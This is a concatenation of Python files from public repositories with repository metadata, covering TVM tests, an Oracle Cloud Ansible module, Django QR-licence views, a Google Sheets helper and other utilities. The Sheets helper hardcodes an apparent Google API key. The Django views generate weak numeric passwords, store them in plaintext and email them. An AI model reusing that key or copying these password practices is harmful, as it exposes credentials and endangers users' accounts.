ib.allocate("float32", m, name="B", scope="shared") with ib.new_scope(): ib.scope_attr(B.asobject(), "double_buffer_scope", 1) with ib.for_range(0, m) as j: B[j] = A[i * 4 + j] with ib.for_range(0, m) as j: C[j] = B[j] + 1 stmt = ib.get() stmt = tvm.tir.ir_pass.InjectDoubleBuffer(stmt, 2) stmt = tvm.tir.ir_pass.Simplify(stmt) assert isinstance(stmt.body.body, tvm.tir.Allocate) assert stmt.body.body.extents[0].value == 2 mod = tvm.IRModule({ "db" : tvm.tir.PrimFunc([A.asobject(), C.asobject()], stmt) }) f = tvm.tir.transform.ThreadSync("shared")(mod)["db"] count = [0] def count_sync(op): if isinstance(op, tvm.tir.Call) and op.name == "tvm_storage_sync": count[0] += 1 tvm.tir.ir_pass.PostOrderVisit(f.body, count_sync) assert count[0] == 4 if __name__ == "__main__": test_double_buffer()

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null

0

null

0

1

0

1

6b0a2521796cb92f0d1e011306fd05dc969275cf

355

py

Python

origamibot/core/teletypes/poll_option.py

cmd410/OrigamiBot

03667d069f0c0b088671936ce36bf8f85a029b93

[ "MIT" ]

4

2020-06-30T10:32:54.000Z

2020-11-01T23:07:58.000Z

origamibot/core/teletypes/poll_option.py

cmd410/OrigamiBot

03667d069f0c0b088671936ce36bf8f85a029b93

[ "MIT" ]

6

2020-06-26T23:14:59.000Z

2020-07-26T11:48:07.000Z

origamibot/core/teletypes/poll_option.py

cmd410/OrigamiBot

03667d069f0c0b088671936ce36bf8f85a029b93

[ "MIT" ]

1

2020-07-28T08:52:51.000Z

from .base import TelegramStructure, Field class PollOption(TelegramStructure): text = Field() voter_count = Field() def __init__(self, text: str, voter_count: int ): self.text = \ Field(text, [str]) self.voter_count = \ Field(voter_count, [int])

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null

1

0

null

0

1

6b0f57abb4c6963ae8d955c1ecf87495f2b1c219

12,193

py

Python

plugins/modules/oci_blockstorage_volume_backup_policy_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

plugins/modules/oci_blockstorage_volume_backup_policy_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

plugins/modules/oci_blockstorage_volume_backup_policy_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

#!/usr/bin/python # Copyright (c) 2020, 2022 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for details. # GENERATED FILE - DO NOT EDIT - MANUAL CHANGES WILL BE OVERWRITTEN from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_blockstorage_volume_backup_policy_facts short_description: Fetches details about one or multiple VolumeBackupPolicy resources in Oracle Cloud Infrastructure description: - Fetches details about one or multiple VolumeBackupPolicy resources in Oracle Cloud Infrastructure - Lists all the volume backup policies available in the specified compartment. - For more information about Oracle defined backup policies and user defined backup policies, see L(Policy-Based Backups,https://docs.cloud.oracle.com/iaas/Content/Block/Tasks/schedulingvolumebackups.htm). - If I(policy_id) is specified, the details of a single VolumeBackupPolicy will be returned. version_added: "2.9.0" author: Oracle (@oracle) options: policy_id: description: - The OCID of the volume backup policy. - Required to get a specific volume_backup_policy. type: str aliases: ["id"] compartment_id: description: - The OCID of the compartment. If no compartment is specified, the Oracle defined backup policies are listed. type: str extends_documentation_fragment: [ oracle.oci.oracle, oracle.oci.oracle_display_name_option ] """ EXAMPLES = """ - name: Get a specific volume_backup_policy oci_blockstorage_volume_backup_policy_facts: # required policy_id: "ocid1.policy.oc1..xxxxxxEXAMPLExxxxxx" - name: List volume_backup_policies oci_blockstorage_volume_backup_policy_facts: # optional compartment_id: "ocid1.compartment.oc1..xxxxxxEXAMPLExxxxxx" """ RETURN = """ volume_backup_policies: description: - List of VolumeBackupPolicy resources returned: on success type: complex contains: display_name: description: - A user-friendly name. Does not have to be unique, and it's changeable. Avoid entering confidential information. returned: on success type: str sample: display_name_example id: description: - The OCID of the volume backup policy. returned: on success type: str sample: "ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx" schedules: description: - The collection of schedules that this policy will apply. returned: on success type: complex contains: backup_type: description: - The type of volume backup to create. returned: on success type: str sample: FULL offset_seconds: description: - The number of seconds that the volume backup start time should be shifted from the default interval boundaries specified by the period. The volume backup start time is the frequency start time plus the offset. returned: on success type: int sample: 56 period: description: - The volume backup frequency. returned: on success type: str sample: ONE_HOUR offset_type: description: - Indicates how the offset is defined. If value is `STRUCTURED`, then `hourOfDay`, `dayOfWeek`, `dayOfMonth`, and `month` fields are used and `offsetSeconds` will be ignored in requests and users should ignore its value from the responses. - "`hourOfDay` is applicable for periods `ONE_DAY`, `ONE_WEEK`, `ONE_MONTH` and `ONE_YEAR`." - "`dayOfWeek` is applicable for period `ONE_WEEK`." - "`dayOfMonth` is applicable for periods `ONE_MONTH` and `ONE_YEAR`." - "'month' is applicable for period 'ONE_YEAR'." - They will be ignored in the requests for inapplicable periods. - If value is `NUMERIC_SECONDS`, then `offsetSeconds` will be used for both requests and responses and the structured fields will be ignored in the requests and users should ignore their values from the responses. - For clients using older versions of Apis and not sending `offsetType` in their requests, the behaviour is just like `NUMERIC_SECONDS`. returned: on success type: str sample: STRUCTURED hour_of_day: description: - The hour of the day to schedule the volume backup. returned: on success type: int sample: 56 day_of_week: description: - The day of the week to schedule the volume backup. returned: on success type: str sample: MONDAY day_of_month: description: - The day of the month to schedule the volume backup. returned: on success type: int sample: 56 month: description: - The month of the year to schedule the volume backup. returned: on success type: str sample: JANUARY retention_seconds: description: - How long, in seconds, to keep the volume backups created by this schedule. returned: on success type: int sample: 56 time_zone: description: - Specifies what time zone is the schedule in returned: on success type: str sample: UTC destination_region: description: - The paired destination region for copying scheduled backups to. Example `us-ashburn-1`. See L(Region Pairs,https://docs.cloud.oracle.com/iaas/Content/Block/Tasks/schedulingvolumebackups.htm#RegionPairs) for details about paired regions. returned: on success type: str sample: us-phoenix-1 time_created: description: - The date and time the volume backup policy was created. Format defined by L(RFC3339,https://tools.ietf.org/html/rfc3339). returned: on success type: str sample: "2013-10-20T19:20:30+01:00" compartment_id: description: - The OCID of the compartment that contains the volume backup. returned: on success type: str sample: "ocid1.compartment.oc1..xxxxxxEXAMPLExxxxxx" defined_tags: description: - Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see L(Resource Tags,https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). - "Example: `{\\"Operations\\": {\\"CostCenter\\": \\"42\\"}}`" returned: on success type: dict sample: {'Operations': {'CostCenter': 'US'}} freeform_tags: description: - Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see L(Resource Tags,https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm). - "Example: `{\\"Department\\": \\"Finance\\"}`" returned: on success type: dict sample: {'Department': 'Finance'} sample: [{ "display_name": "display_name_example", "id": "ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx", "schedules": [{ "backup_type": "FULL", "offset_seconds": 56, "period": "ONE_HOUR", "offset_type": "STRUCTURED", "hour_of_day": 56, "day_of_week": "MONDAY", "day_of_month": 56, "month": "JANUARY", "retention_seconds": 56, "time_zone": "UTC" }], "destination_region": "us-phoenix-1", "time_created": "2013-10-20T19:20:30+01:00", "compartment_id": "ocid1.compartment.oc1..xxxxxxEXAMPLExxxxxx", "defined_tags": {'Operations': {'CostCenter': 'US'}}, "freeform_tags": {'Department': 'Finance'} }] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils from ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import ( OCIResourceFactsHelperBase, get_custom_class, ) try: from oci.core import BlockstorageClient HAS_OCI_PY_SDK = True except ImportError: HAS_OCI_PY_SDK = False class VolumeBackupPolicyFactsHelperGen(OCIResourceFactsHelperBase): """Supported operations: get, list""" def get_required_params_for_get(self): return [ "policy_id", ] def get_required_params_for_list(self): return [] def get_resource(self): return oci_common_utils.call_with_backoff( self.client.get_volume_backup_policy, policy_id=self.module.params.get("policy_id"), ) def list_resources(self): optional_list_method_params = [ "compartment_id", "display_name", ] optional_kwargs = dict( (param, self.module.params[param]) for param in optional_list_method_params if self.module.params.get(param) is not None ) return oci_common_utils.list_all_resources( self.client.list_volume_backup_policies, **optional_kwargs ) VolumeBackupPolicyFactsHelperCustom = get_custom_class( "VolumeBackupPolicyFactsHelperCustom" ) class ResourceFactsHelper( VolumeBackupPolicyFactsHelperCustom, VolumeBackupPolicyFactsHelperGen ): pass def main(): module_args = oci_common_utils.get_common_arg_spec() module_args.update( dict( policy_id=dict(aliases=["id"], type="str"), compartment_id=dict(type="str"), display_name=dict(type="str"), ) ) module = AnsibleModule(argument_spec=module_args) if not HAS_OCI_PY_SDK: module.fail_json(msg="oci python sdk required for this module.") resource_facts_helper = ResourceFactsHelper( module=module, resource_type="volume_backup_policy", service_client_class=BlockstorageClient, namespace="core", ) result = [] if resource_facts_helper.is_get(): result = [resource_facts_helper.get()] elif resource_facts_helper.is_list(): result = resource_facts_helper.list() else: resource_facts_helper.fail() module.exit_json(volume_backup_policies=result) if __name__ == "__main__": main()

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0

null

0

1

0

null

0

1

6b1abd24dcce5c1b223e996046c73de1b7c697fc

1,332

py

Python

Concurrent/PipelineDecomposingTask.py

rafagarciac/ParallelProgrammingPython

bba91984018688f41049fd63961d3b8872876336

[ "MIT" ]

null

Concurrent/PipelineDecomposingTask.py

rafagarciac/ParallelProgrammingPython

bba91984018688f41049fd63961d3b8872876336

[ "MIT" ]

null

Concurrent/PipelineDecomposingTask.py

rafagarciac/ParallelProgrammingPython

bba91984018688f41049fd63961d3b8872876336

[ "MIT" ]

null

#!/usr/bin/env python """ Artesanal example Pipe without Pipe class. """ __author__ = "Rafael García Cuéllar" __email__ = "r.gc@hotmail.es" __copyright__ = "Copyright (c) 2018 Rafael García Cuéllar" __license__ = "MIT" from concurrent.futures import ProcessPoolExecutor import time import random def worker(arg): time.sleep(random.random()) return arg def pipeline(future): pools[1].submit(worker, future.result()).add_done_callback(printer) def printer(future): pools[2].submit(worker, future.result()).add_done_callback(spout) def spout(future): print(future.result()) def instanceProcessPool(): pools = [] for i in range(3): pool = ProcessPoolExecutor(2) pools.append(pool) return pools def shutdownPools(pools): for pool in pools: pool.shutdown() def runThreadsInPipeline(pools): for pool in pools: pool.submit(worker, random.random()).add_done_callback(pipeline) if __name__ == "__main__": __spec__ = None # Fix multiprocessing in Spyder's IPython pools = instanceProcessPool() # pool = ProcessPoolExecutor([max_workers]) runThreadsInPipeline(pools) # pools[0].submit(worker, random.random()).add_done_callback(pipeline) shutdownPools(pools) # pool.shutdown()

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0

null

0

null

0

1

0

1

6b2889ee02cbc2db0ebf9270a48b091ad3ca3b59

8,237

py

Python

core/views.py

Neelamegam2000/QRcode-for-license

a6d4c9655c5ba52b24c1ea737797557f06e0fcbf

[ "MIT" ]

null

core/views.py

Neelamegam2000/QRcode-for-license

a6d4c9655c5ba52b24c1ea737797557f06e0fcbf

[ "MIT" ]

null

core/views.py

Neelamegam2000/QRcode-for-license

a6d4c9655c5ba52b24c1ea737797557f06e0fcbf

[ "MIT" ]

null

from django.shortcuts import render, redirect from django.conf import settings from django.core.files.storage import FileSystemStorage,default_storage from django.core.mail import send_mail, EmailMessage from core.models import Document from core.forms import DocumentForm from django.contrib import messages import os import pyqrcode import png import random import base64 import cv2 import numpy as np import pyzbar.pyzbar as pyzbar def home(request): documents= Document.objects.all() return render(request, 'home.html', { 'documents': documents }) """def simple_upload(request): if request.method == 'POST' and request.FILES['myfile']: myfile = request.FILES['myfile'] fs = FileSystemStorage() filename = fs.save(myfile.name, myfile) uploaded_file_url = fs.url(filename) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) media_path = os.path.join(BASE_DIR,'media') full_path=os.path.join(media_path,myfile.name) qr=pyqrcode.create(uploaded_file_url) filename_before=filename.rsplit(".") filename1=filename_before[0]+".png" s=qr.png(filename1,scale=6) '''from fpdf import FPDF pdf=FPDF() pdf.add_page() pdf.image(filename1,x=50,y=None,w=60,h=60,type="",link=uploaded_file_url)''' return render(request, 'simple_upload.html', { 'uploaded_file_url': uploaded_file_url }) return render(request, 'simple_upload.html')""" def model_form_upload(request): id="" msg="" if request.method == 'POST': form = DocumentForm(request.POST, request.FILES,request.POST) if form.is_valid(): form.save() email=form.cleaned_data['Email'] document_count=Document.objects.values_list('document').count() document_last=Document.objects.values_list('document')[document_count-1] document_name=document_last[0] print(email) t=Document.objects.last() num_list=['0','1','2','3','4','5','6','7','8','9'] password1="" for i in range(0,8): password1=password1+random.choice(num_list) t.password=password1 print(type(document_name)) document_name1=document_name.encode('ascii') document_encode=str(base64.b64encode(document_name1)) ax=document_encode[2:-1] t.file_url=ax print(ax) t.save() qr=pyqrcode.create(ax) filename=document_name.rsplit(".") filename1=filename[0].split("/") filename2=filename1[1]+".png" qr.png(filename2,scale=6) """mail=EmailMessage('QR',password1,'vmneelamegam2000@gmail.com',[email]) #mail.attach(filename2,filename2.content_type) mail.send()""" subject = 'QRcode scanner for license' message = password1 email_from = settings.EMAIL_HOST_USER recipient_list = [email, ] mail=EmailMessage( subject, message, email_from, recipient_list ) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) mail.attach_file(os.path.join(BASE_DIR,filename2)) mail.send() msg="your successfully uploaded" return redirect('model_form_upload') else: form = DocumentForm() return render(request, 'model_form_upload.html', {'form': form,'msg':msg}) def mypass(request): m="" if(request.POST.get("pswd")==request.POST.get("pswd3")): user_data=Document.objects.filter(Email=request.POST.get("email"),password=request.POST.get("old_pswd")).update(password=request.POST.get("pswd")) user_data1=Document.objects.filter(Email=request.POST.get("email"),password=request.POST.get("pswd")) """if(len_user_data==1): userdata.password=request.POST.get("pswd") return render(request,'mypass.html',{u:"you have change the password successfully"}) else:""" c=0 if(user_data1): subject = 'QRcode scanner for license' message = "Password has succesfully changed"+" "+request.POST.get("pswd") email_from = settings.EMAIL_HOST_USER recipient_list = [request.POST.get("email"), ] mail=EmailMessage( subject, message, email_from, recipient_list ) mail.send() c=1 m="your password is changed succesfully" elif(len(Document.objects.filter(Email=request.POST.get("email"),password=request.POST.get("old_pswd")))==0 and request.method=="POST"): m="your email or password is incorrect" else: m="" print(m) return render(request,'mypass.html',{"m":m}) def user_req(request): if("scanner" in request.POST and request.method=="POST"): cap = cv2.VideoCapture(0+cv2.CAP_DSHOW) font = cv2.FONT_HERSHEY_PLAIN decodedObjects=[] while decodedObjects==[]: _, frame = cap.read() decodedObjects = pyzbar.decode(frame) for obj in decodedObjects: points = obj.polygon (x,y,w,h) = obj.rect pts = np.array(points, np.int32) pts = pts.reshape((-1, 1, 2)) cv2.polylines(frame, [pts], True, (0, 255, 0), 3) cv2.putText(frame, str(obj.data), (50, 50), font, 2, (255, 0, 0), 3) id =obj.data.decode("utf-8") cv2.imshow("QR Reader", frame) key = cv2.waitKey(10) & 0xFF if decodedObjects!=[] : cv2.destroyAllWindows() return render(request,"user_req.html",{"id":id}) if('proceed' in request.POST and request.method=="POST"): userdata=Document.objects.filter(file_url=request.POST.get("id1")).filter(password=request.POST.get("password1")) return render(request,"user_req.html",{"userdata":userdata}) return render(request,"user_req.html",) def user(request): return render(request,"user.html",) def forget_pass(request): msg="" if(request.method=="POST"): num_list=['0','1','2','3','4','5','6','7','8','9'] password1="" for i in range(0,8): password1=password1+random.choice(num_list) user_data=Document.objects.filter(Email=request.POST.get("email")).update(password=password1) subject = 'QRcode scanner for license Forget password' message = "Password has succesfully changed"+" "+password1 email_from = settings.EMAIL_HOST_USER recipient_list = [request.POST.get("email"), ] mail=EmailMessage( subject, message, email_from, recipient_list ) mail.send() if(user_data>0): msg="your password is changed succesfully and mail sent" elif(user_data==0): msg="your email is incorrect or not found" return render(request,"forget_pass.html",{"msg":msg}) def qrcode_miss(request): msg="" if(request.method=='POST' and Document.objects.filter(Email=request.POST.get('email'),password=request.POST.get('password1'))): user_data=Document.objects.values_list('document').filter(Email=request.POST.get('email'),password=request.POST.get('password1')) m=user_data[0][0] p=m.split('/') print(p) t=p[1] print(t) subject = 'QRcode scanner for license' message = "resend" email_from = settings.EMAIL_HOST_USER recipient_list = [request.POST.get('email'),] mail=EmailMessage( subject, message, email_from, recipient_list ) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) k=os.path.join(BASE_DIR,t) print(k) mail.attach_file(k) mail.send() msg="your qrcode is sent to your email" elif(request.method=='POST'and Document.objects.values_list('document').filter(Email=request.POST.get('email'),password=request.POST.get('password1')).count()==0): msg="your email or password is incorrect" return render(request,'qrcode_miss.html',{"msg":msg})

42.901042

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null

0

null

0

1

0

1

6b2cec5a2588f39302333a5f4dacaf75c507b16b

3,344

py

Python

backend/api/management/commands/create_testdb.py

INSRapperswil/nornir-web

458e6b24bc373197044b4b7b5da74f16f93a9459

[ "MIT" ]

2

2021-06-01T08:33:04.000Z

2021-08-20T04:22:39.000Z

backend/api/management/commands/create_testdb.py

INSRapperswil/nornir-web

458e6b24bc373197044b4b7b5da74f16f93a9459

[ "MIT" ]

null

backend/api/management/commands/create_testdb.py

INSRapperswil/nornir-web

458e6b24bc373197044b4b7b5da74f16f93a9459

[ "MIT" ]

null

""" Setup DB with example data for tests """ from django.contrib.auth.hashers import make_password from django.contrib.auth.models import User, Group from django.core.management.base import BaseCommand from api import models class Command(BaseCommand): help = 'Setup DB with example data for tests' def handle(self, *args, **options): print('---- Creating Users ----') User.objects.get_or_create(username='thomastest', password=make_password('imatestin')) thomas = User.objects.get(username='thomastest') User.objects.get_or_create(username='norbert', password=make_password('netzwerk')) norbert = User.objects.get(username='norbert') User.objects.get_or_create(username='stefan', password=make_password('helldesk')) stefan = User.objects.get(username='stefan') superuser = Group.objects.get(name='superuser') superuser.user_set.add(thomas) netadmin = Group.objects.get(name='netadmin') netadmin.user_set.add(norbert) support = Group.objects.get(name='support') support.user_set.add(stefan) print('---- Creating Inventory ----') models.Inventory.objects.create(name='Example', hosts_file='web_nornir/nornir_config/example_config/hosts.yaml', groups_file='web_nornir/nornir_config/example_config/groups.yaml', type=1) models.Inventory.objects.create(name='INS Lab', hosts_file='web_nornir/nornir_config/inslab_config/hosts.yaml', groups_file='web_nornir/nornir_config/inslab_config/groups.yaml', type=1) print('---- Creating Job Templates ----') models.JobTemplate.objects.create(name='hello_world', description='This prints a hello world', file_name='hello_world.py', created_by_id=1) models.JobTemplate.objects.create(name='Get CDP Neighbors', description='Lists all CDP neighbors', file_name='get_cdp_neighbors.py', created_by_id=1) models.JobTemplate.objects.create(name='Get Interfaces', description='Gets brief information about all interfaces, sh ip int br', file_name='get_interfaces.py', created_by_id=1) models.JobTemplate.objects.create(name='Ping Device', description='Pings a chosen network device and reports if reachable', file_name='ping.py', variables=['target'], created_by_id=1) models.JobTemplate.objects.create(name='Get Configuration', description='Gets all configuration from device', file_name='get_configuration.py', created_by_id=1) print('---- Creating Tasks ----') models.Task.objects.create(name='Get Hello World', created_by_id=1, template_id=1, inventory_id=1) models.Task.objects.create(name='Get CDP neighbors of INS lab', created_by_id=2, template_id=2, inventory_id=2) models.Task.objects.create(name='Get interfaces of INS lab', created_by_id=2, template_id=3, inventory_id=2) print('---- ALL DONE!! ----')

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null

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1

6b2e543e1da4f0dd04f05a16bdaaac83f262d6ce

1,505

py

Python

ipuz/puzzlekinds/__init__.py

maiamcc/ipuz

fbe6f663b28ad42754622bf2d3bbe59a26be2615

[ "MIT" ]

5

2015-06-23T17:18:41.000Z

2020-05-05T16:43:14.000Z

ipuz/puzzlekinds/__init__.py

maiamcc/ipuz

fbe6f663b28ad42754622bf2d3bbe59a26be2615

[ "MIT" ]

3

2015-08-21T05:17:22.000Z

2021-03-20T18:39:31.000Z

ipuz/puzzlekinds/__init__.py

maiamcc/ipuz

fbe6f663b28ad42754622bf2d3bbe59a26be2615

[ "MIT" ]

3

2018-01-15T17:28:10.000Z

2020-09-29T20:32:21.000Z

from .acrostic import IPUZ_ACROSTIC_VALIDATORS from .answer import IPUZ_ANSWER_VALIDATORS from .block import IPUZ_BLOCK_VALIDATORS from .crossword import IPUZ_CROSSWORD_VALIDATORS from .fill import IPUZ_FILL_VALIDATORS from .sudoku import IPUZ_SUDOKU_VALIDATORS from .wordsearch import IPUZ_WORDSEARCH_VALIDATORS IPUZ_PUZZLEKINDS = { "http://ipuz.org/acrostic": { "mandatory": ( "puzzle", ), "validators": { 1: IPUZ_ACROSTIC_VALIDATORS, }, }, "http://ipuz.org/answer": { "mandatory": (), "validators": { 1: IPUZ_ANSWER_VALIDATORS, }, }, "http://ipuz.org/block": { "mandatory": ( "dimensions", ), "validators": { 1: IPUZ_BLOCK_VALIDATORS, }, }, "http://ipuz.org/crossword": { "mandatory": ( "dimensions", "puzzle", ), "validators": { 1: IPUZ_CROSSWORD_VALIDATORS, }, }, "http://ipuz.org/fill": { "mandatory": (), "validators": { 1: IPUZ_FILL_VALIDATORS, }, }, "http://ipuz.org/sudoku": { "mandatory": ( "puzzle", ), "validators": { 1: IPUZ_SUDOKU_VALIDATORS, }, }, "http://ipuz.org/wordsearch": { "mandatory": ( "dimensions", ), "validators": { 1: IPUZ_WORDSEARCH_VALIDATORS, }, }, }

23.153846

50

0.509635

120

1,505

6.15

0.15

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0.104336

0.170732

0.173442

0

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0.355482

1,505

64

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23.515625

0.753608

0

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0

0.226578

0

1

0

false

0

0.112903

0

0.112903

0

null

0

1

0

null

0

1

6b385bed93debf4cc525192d73536e80c2566746

591

py

Python

python/ray/train/__init__.py

jamesliu/ray

11ab412db1fa3603a3006e8ed414e80dd1f11c0c

[ "Apache-2.0" ]

33

2020-05-27T14:25:24.000Z

2022-03-22T06:11:30.000Z

python/ray/train/__init__.py

jamesliu/ray

11ab412db1fa3603a3006e8ed414e80dd1f11c0c

[ "Apache-2.0" ]

227

2021-10-01T08:00:01.000Z

2021-12-28T16:47:26.000Z

python/ray/train/__init__.py

gramhagen/ray

c18caa4db36d466718bdbcb2229aa0b2dc03da1f

[ "Apache-2.0" ]

5

2020-08-06T15:53:07.000Z

2022-02-09T03:31:31.000Z

from ray.train.backend import BackendConfig from ray.train.callbacks import TrainingCallback from ray.train.checkpoint import CheckpointStrategy from ray.train.session import (get_dataset_shard, local_rank, load_checkpoint, report, save_checkpoint, world_rank, world_size) from ray.train.trainer import Trainer, TrainingIterator __all__ = [ "BackendConfig", "CheckpointStrategy", "get_dataset_shard", "load_checkpoint", "local_rank", "report", "save_checkpoint", "TrainingIterator", "TrainingCallback", "Trainer", "world_rank", "world_size" ]

42.214286

79

0.749577

64

591

6.640625

0.375

0.082353

0.141176

0.084706

0

0.153976

591

13

80

45.461538

0.85

0

0.258883

0

1

0

false

0

0.416667

0

0.416667

0

null

0

null

0

1

0

1

6b3deda0113b8eb8f9bdf6272cc95e4fe0c53714

2,743

py

Python

jupyanno/sheets.py

betatim/jupyanno

11fbb1825c8e6966260620758768e0e1fa5cecc9

[ "Apache-2.0" ]

23

2018-08-24T16:48:20.000Z

2021-02-26T02:52:40.000Z

jupyanno/sheets.py

L3-data/jupyanno

6f6ec37e88b4d92f00bc359e7e39157b6b7f0eb5

[ "Apache-2.0" ]

73

2018-08-13T07:56:15.000Z

2018-10-09T13:55:20.000Z

jupyanno/sheets.py

L3-data/jupyanno

6f6ec37e88b4d92f00bc359e7e39157b6b7f0eb5

[ "Apache-2.0" ]

4

2018-08-13T07:55:50.000Z

2020-09-30T12:04:27.000Z

"""Code for reading and writing results to google sheets""" from bs4 import BeautifulSoup import requests import warnings import json import pandas as pd from six.moves.urllib.parse import urlparse, parse_qs from six.moves.urllib.request import urlopen _CELLSET_ID = "AIzaSyC8Zo-9EbXgHfqNzDxVb_YS_IIZBWtvoJ4" def get_task_sheet(in_task): return get_sheet_as_df(sheet_api_url(in_task.sheet_id), _CELLSET_ID) def get_sheet_as_df(base_url, kk, columns="A:AG"): """ Gets the sheet as a list of Dicts (directly importable to Pandas) :return: """ try: # TODO: we should probably get the whole sheet all_vals = "{base_url}/{cols}?key={kk}".format(base_url=base_url, cols=columns, kk=kk) t_data = json.loads(urlopen(all_vals).read().decode('latin1'))[ 'values'] frow = t_data.pop(0) return pd.DataFrame([ dict([(key, '' if idx >= len(irow) else irow[idx]) for idx, key in enumerate(frow)]) for irow in t_data]) except IOError as e: warnings.warn( 'Sheet could not be accessed, check internet connectivity, \ proxies and permissions: {}'.format( e)) return pd.DataFrame([{}]) def sheet_api_url(sheet_id): return "https://sheets.googleapis.com/v4/spreadsheets/{id}/values".format( id=sheet_id) def get_questions(in_url): res = urlopen(in_url) soup = BeautifulSoup(res.read(), 'html.parser') def get_names(f): return [v for k, v in f.attrs.items() if 'label' in k] def get_name(f): return get_names(f)[0] if len( get_names(f)) > 0 else 'unknown' all_questions = soup.form.findChildren( attrs={'name': lambda x: x and x.startswith('entry.')}) return {get_name(q): q['name'] for q in all_questions} def submit_response(form_url, cur_questions, verbose=False, **answers): submit_url = form_url.replace('/viewform', '/formResponse') form_data = {'draftResponse': [], 'pageHistory': 0} for v in cur_questions.values(): form_data[v] = '' for k, v in answers.items(): if k in cur_questions: form_data[cur_questions[k]] = v else: warnings.warn('Unknown Question: {}'.format(k), RuntimeWarning) if verbose: print(form_data) user_agent = {'Referer': form_url, 'User-Agent': "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537\ .36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36"} return requests.post(submit_url, data=form_data, headers=user_agent)

33.45122

79

0.606635

367

2,743

4.370572

0.427793

0.018703

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0.022444

0.009975

0

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2,743

81

80

33.864198

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1

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false

0

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1